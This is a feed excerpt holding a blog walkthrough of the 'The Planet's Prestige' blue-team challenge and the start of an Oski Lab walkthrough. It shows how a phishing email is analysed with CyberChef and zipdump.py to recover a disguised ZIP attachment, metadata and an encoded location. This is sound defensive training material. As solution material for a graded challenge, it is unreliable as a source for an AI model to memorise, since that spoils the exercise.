class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/347e95d7dcc9dedbbe18cef147a20a47_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-reply-to-emailaddress&#34;&gt;Question 2: What is the Reply-To email address?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to identify the &lt;em&gt;“Reply-To”&lt;/em&gt; address within the email headers. Bad guys can, and often do, spoof the &lt;code&gt;From&lt;/code&gt; address.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes, a mismatch between the &lt;code&gt;From&lt;/code&gt; address and &lt;em&gt;Reply-To&lt;/em&gt; can be a good indicator that something is amiss. While the “&lt;em&gt;Reply-To”&lt;/em&gt; field can also be spoofed, it often reveals the attacker’s real email address, especially in phishing emails where replies are expected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2e1e5383e55c9aa435af62502f2773e3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;235px&#34; data-flex-grow=&#34;98&#34; height=&#34;815&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/2e1e5383e55c9aa435af62502f2773e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the Reply-To address&lt;/p&gt;&#xA;&lt;p&gt;Scroll through the parsed headers and look for the &lt;em&gt;“Reply-To”&lt;/em&gt; field. Notice that the email address is different than the &lt;code&gt;From&lt;/code&gt; address? This discrepancy might reveal the attacker’s actual inbox.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5f31fb5875adda8e3d311f2b442030db_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/5f31fb5875adda8e3d311f2b442030db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-filetype-of-the-received-attachment-which-helped-to-continue-the-investigation&#34;&gt;Question 3: What is the filetype of the received attachment which helped to continue the investigation?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along! To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we need to determine the filetype of the email attachment.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;CyberChef&lt;/em&gt;, scroll down past the message headers to the section containing the attachment metadata (part of the &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MIME headers&lt;/strong&gt;&lt;/a&gt;):&#xA;&lt;code&gt;Content-Type: application/pdf; name=&amp;quot;PuzzleToCoCanDa.pdf&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Seems pretty straightforward, doesn’t it? But things aren’t always as they seem. While &lt;em&gt;CyberChef&lt;/em&gt; displays the declared extension, this information can be spoofed.&lt;/p&gt;&#xA;&lt;p&gt;To determine the &lt;em&gt;true&lt;/em&gt; filetype of the attachment, we need to do a little more legwork. Between the header and the end of the email, there’s a large block of Base64-encoded data — this is the attachment itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ef83b106e86676a08bb4c390ab0313ef_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;469px&#34; data-flex-grow=&#34;195&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/ef83b106e86676a08bb4c390ab0313ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the attachment as Base64-encoded data&lt;/p&gt;&#xA;&lt;p&gt;&amp;ndash;BOUND_600FB98E0DCEE8.49207210&#xA;Content-Type: application/pdf; name=&amp;ldquo;PuzzleToCoCanDa.pdf&amp;rdquo;&#xA;Content-Transfer-Encoding: base64&#xA;Content-Disposition: attachment; filename=&amp;ldquo;PuzzleToCoCanDa.pdf&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;[Base64 Encoded Data]&lt;/p&gt;&#xA;&lt;p&gt;&amp;ndash;BOUND_600FB98E0DCEE8.49207210&amp;ndash;&lt;/p&gt;&#xA;&lt;p&gt;To analyze it, copy that Base64-encoded block, then click the &lt;code&gt;+&lt;/code&gt; symbol in the top right of &lt;em&gt;CyberChef&lt;/em&gt; to &lt;em&gt;add a new input tab&lt;/em&gt;. Paste the Base64 data into this new tab.&lt;/p&gt;&#xA;&lt;p&gt;Now we’re going to build a quick recipe. Since we know the attachment is Base64-encoded, start by adding the “From Base64” operation. Next, add the “Extract Files” operation to leverage &lt;em&gt;CyberChef&lt;/em&gt;’s parsing capabilities to identify the embedded files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;72f8cc4f22db7b5349be879117c13023_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;489px&#34; data-flex-grow=&#34;204&#34; height=&#34;392&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/72f8cc4f22db7b5349be879117c13023_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve baked our recipe, we can see that the purported &lt;code&gt;.pdf&lt;/code&gt; file isn’t a PDF at all, it’s actually a &lt;code&gt;.zip&lt;/code&gt; archive!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2d4beb3cc23ed26a80e0a159d556b793_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1122px&#34; data-flex-grow=&#34;467&#34; height=&#34;171&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/2d4beb3cc23ed26a80e0a159d556b793_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-name-of-the-malicious-actor&#34;&gt;Question 4: What is the name of the malicious actor?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified and extracted the &lt;code&gt;.zip&lt;/code&gt; files, let&amp;rsquo;s go ahead and save them using the &lt;em&gt;Save&lt;/em&gt; button in &lt;em&gt;CyberChef&lt;/em&gt; next to each extracted file. For our investigation, we&amp;rsquo;ll focus on the largest file: &lt;code&gt;extracted_at_0x0.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once it’s saved, extract the contents. Inside, you’ll find:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image file (&lt;code&gt;DaughtersCrown&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Document (&lt;code&gt;GoodJobMajor&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Spreadsheet (&lt;code&gt;Money.xlsx&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Our mission in &lt;strong&gt;Question 4&lt;/strong&gt; is to discover the name of the threat actor. Let’s start by analyzing the &lt;code&gt;GoodJobMajor&lt;/code&gt; document in &lt;em&gt;CyberChef&lt;/em&gt;. Click &lt;em&gt;Open file as input&lt;/em&gt;, then select the document.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f6107220588bc0985fbe08fae97c7315_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;463px&#34; data-flex-grow=&#34;193&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/f6107220588bc0985fbe08fae97c7315_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Opening the document as input&lt;/p&gt;&#xA;&lt;p&gt;We’ll start with a blank slate, so remove all previous operations from the recipe. This time, we’ll only add the “Strings” operation, which extracts readable text from the file which is pretty useful for uncovering embedded metadata.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b923824cf5cb22deb7e228fb17854074_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;462px&#34; data-flex-grow=&#34;192&#34; height=&#34;415&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/b923824cf5cb22deb7e228fb17854074_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Using the Strings operation to identify the author’s name&lt;/p&gt;&#xA;&lt;p&gt;By focusing on strings within the metadata, we can identify the author’s name under the &lt;code&gt;/Author&lt;/code&gt; stream. In this case, the author field reveals the name of the malicious actor. Let’s submit our answer and move on to the next question!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac00f199f6eb21cdee2c958f24549d6b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1401px&#34; data-flex-grow=&#34;583&#34; height=&#34;137&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/ac00f199f6eb21cdee2c958f24549d6b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-location-of-the-attacker-in-this-universe&#34;&gt;Question 5: What is the location of the attacker in this Universe?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll need to find some clues about the attacker’s physical location within the fictional universe of this challenge.&lt;/p&gt;&#xA;&lt;p&gt;After analyzing the strings extracted from &lt;code&gt;GoodJobMajor&lt;/code&gt; in &lt;em&gt;CyberChef&lt;/em&gt;, we didn’t find anything else useful. So, let’s pivot to a second file from the extracted &lt;code&gt;.zip&lt;/code&gt; archive: &lt;code&gt;Money.xlsx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To save you some time, simply using the “Strings” operation in &lt;em&gt;CyberChef&lt;/em&gt; won’t help us here. Instead, we’ll bring in another tool: &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;zipdump.py&lt;/strong&gt;&lt;/a&gt; by &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Didier Stevens&lt;/strong&gt;&lt;/a&gt;. (There are other ways to approach this, so feel free to get creative!)&lt;/p&gt;&#xA;&lt;p&gt;You might be wondering why we’re using a ZIP analysis tool on an &lt;code&gt;.xlsx&lt;/code&gt; file. Great question! File types like &lt;code&gt;.docx&lt;/code&gt;, &lt;code&gt;.pptx&lt;/code&gt;, and &lt;code&gt;.xlsx&lt;/code&gt; are part of the &lt;strong&gt;Open Office XML (OOXML)&lt;/strong&gt; standard, which means they’re actually ZIP archives under the hood.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML-xlsx.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Open Office&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A SpreadsheetML or .xlsx file is a zip file (a package) containing a number of “parts” (typically UTF-8 or UTF-16 encoded) or XML files. The package may also contain other media files such as images. The structure is organized according to the Open Packaging Conventions as outlined in Part 2 of the OOXML standard ECMA-376.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pretty cool, huh? So, by leveraging &lt;em&gt;zipdump.py&lt;/em&gt;, we can dump the contents of the &lt;code&gt;.xlsx&lt;/code&gt; file and bring them into &lt;em&gt;CyberChef&lt;/em&gt; for further analysis.&lt;/p&gt;&#xA;&lt;p&gt;Let’s start by checking the available options for &lt;em&gt;zipdump.py&lt;/em&gt; using the &lt;code&gt;-h&lt;/code&gt; switch.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aec5bd3140f2d6014d37df0e0574c623_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;186px&#34; data-flex-grow=&#34;77&#34; height=&#34;973&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/aec5bd3140f2d6014d37df0e0574c623_MD5.png&#34; width=&#34;756&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zipdump.py Options&lt;/p&gt;&#xA;&lt;p&gt;Then, we’ll try something simple: use the &lt;code&gt;-A&lt;/code&gt; option to dump the ASCII contents of all parts of the &lt;code&gt;Money.xlsx&lt;/code&gt; archive, specifying your own output directory:&lt;/p&gt;&#xA;&lt;p&gt;zipdump.py -A Money.xlsx -o &lt;PATH-TO-YOUR-OUTPUT-DIRECTORY&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, &lt;em&gt;zipdump.py&lt;/em&gt; dumps the ASCII contents to a text file. Open this file as input with &lt;em&gt;CyberChef&lt;/em&gt; and keep the “Strings” operation in the recipe.&lt;/p&gt;&#xA;&lt;p&gt;As you scroll through the output, you’ll spot what appears to be a plain text message from the attacker. Unfortunately, there’s no clear text indicator of their location.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;30881479cffd79b012268b5d671a2808_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/30881479cffd79b012268b5d671a2808_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying Base64-encoded string in the zipdump.py output&lt;/p&gt;&#xA;&lt;p&gt;But take a closer look at the string immediately following the message. Could it be a Base64-encoded location? Let’s find out.&lt;/p&gt;&#xA;&lt;p&gt;Open a new &lt;em&gt;CyberChef&lt;/em&gt; tab and paste the suspicious string. First, remove any padding or extraneous characters so you’re left with just the encoded data. I did this manually by highlighting the extra bits and pressing delete.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6e8c01ba3c1232dcf7cf9bc356765f77_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/6e8c01ba3c1232dcf7cf9bc356765f77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Removing extraneous characters&lt;/p&gt;&#xA;&lt;p&gt;Next, add the “From Base64” operation to the recipe to decode — and &lt;em&gt;voilà&lt;/em&gt; — we’ve stumbled onto the attacker’s location! Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;218fcf916579150ea57368e43872d9b9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;470px&#34; data-flex-grow=&#34;196&#34; height=&#34;408&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/218fcf916579150ea57368e43872d9b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the attacker’s secret lair&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1731df82b300dacced07666baa30feec_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/1731df82b300dacced07666baa30feec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-could-be-the-probable-cc-domain-to-control-the-attackers-autonomous-bots&#34;&gt;Question 6: What could be the probable C&amp;amp;C domain to control the attacker’s autonomous bots?&#xA;&lt;/h3&gt;&lt;p&gt;By analyzing the attachments, we’ve gained some insight into the attacker’s identity and motives, but we haven’t yet uncovered any indicators of the command and control (C&amp;amp;C) infrastructure — or have we?&lt;/p&gt;&#xA;&lt;p&gt;Let’s jump all the way back to the email artifact and revisit the header details we uncovered in &lt;strong&gt;Question 1&lt;/strong&gt; and &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;One important detail is the &lt;em&gt;Reply-To&lt;/em&gt; address. As we discussed earlier, this is likely the attacker’s true email address, and the domain could be part of their operational infrastructure. In phishing or malware campaigns, attackers sometimes use the same domain for multiple purposes like hosting phishing pages, malware, or even command and control.&lt;/p&gt;&#xA;&lt;p&gt;Since this is the only domain we’ve observed that’s directly tied to the attacker, it’s reasonable to assume that it might also serve as a C&amp;amp;C domain, or at least be part of the infrastructure used to manage the “autonomous bots.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2e1e5383e55c9aa435af62502f2773e3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;235px&#34; data-flex-grow=&#34;98&#34; height=&#34;815&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/2e1e5383e55c9aa435af62502f2773e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the Reply-To address / probable C&amp;amp;C domain&lt;/p&gt;&#xA;&lt;p&gt;In the real world, this would be a solid starting point for collecting threat intelligence and enriching the data with a platform like VirusTotal. For the purposes of this challenge, however, the trail goes cold, so the &lt;em&gt;Reply-To&lt;/em&gt; field is our best lead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac8fa59de197a65b47ba2731a166f088_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;479&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/ac8fa59de197a65b47ba2731a166f088_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;2c25445dff459d04e51638574bca3c06_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;476px&#34; data-flex-grow=&#34;198&#34; height=&#34;344&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/2c25445dff459d04e51638574bca3c06_MD5.png&#34; width=&#34;683&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Give yourself a pat on the back — we’ve earned the gratitude of planet CoCanDa! From a single email sent by the attacker, we’ve leveraged the power of &lt;em&gt;CyberChef&lt;/em&gt; to unravel the attacker’s name, location, and supporting infrastructure. Nice job!&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve found the location of the President’s daughter, let’s close out this walkthrough of &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;The Planet’s Prestige&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another engaging challenge — I really enjoyed the kitschy theme of this one! I chose it for the sci-fi flavor but stayed for the mystery. I was determined to push myself to use &lt;em&gt;CyberChef&lt;/em&gt; in ways I hadn’t tried before and see how much of the investigation I could complete using just that one tool. I was genuinely surprised by some of the functionality I hadn’t discovered before. It just goes to show that you can always find new ways to use old tools.&lt;/p&gt;&#xA;&lt;p&gt;While I eventually had to pivot to a second tool, I wasn’t disappointed. Getting more practice with &lt;em&gt;zipdump.py&lt;/em&gt; was a bonus. It’s such a handy utility that I hadn’t used it in a while. This challenge was the perfect excuse to dust it off.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation — I hope you had a blast!. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mailtrap.io — Email Header Explanations:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mailtrap.io/blog/email-headers/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens — Zipdump.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DidierStevensSuite — GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Open Office XML — SpreadsheetML:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML-xlsx.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://officeopenxml.com/anatomyofOOXML-xlsx.php&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  Oski Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/</link>
            <pubDate>Sun, 15 Jun 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/992bd271af0613a2151c40f97678c9de_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  Oski Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--oski-lab-walkthrough&#34;&gt;CyberDefenders — Oski Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-cyber-threat-intelligence-challenge-using-virustotal-triage-anyrun--mitreattck&#34;&gt;A Cyber Threat Intelligence Challenge Using VirusTotal, Tria.ge, Any.Run, &amp;amp; MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/992bd271af0613a2151c40f97678c9de_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/oski/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/oski/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve &lt;em&gt;stumbled&lt;/em&gt; across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/oski/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Oski Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a fantastic introduction to &lt;strong&gt;cyber threat intelligence (CTI)&lt;/strong&gt; and leveraging online analysis platforms to perform research and gather indicators of compromise — let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The accountant at the company received an email titled &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    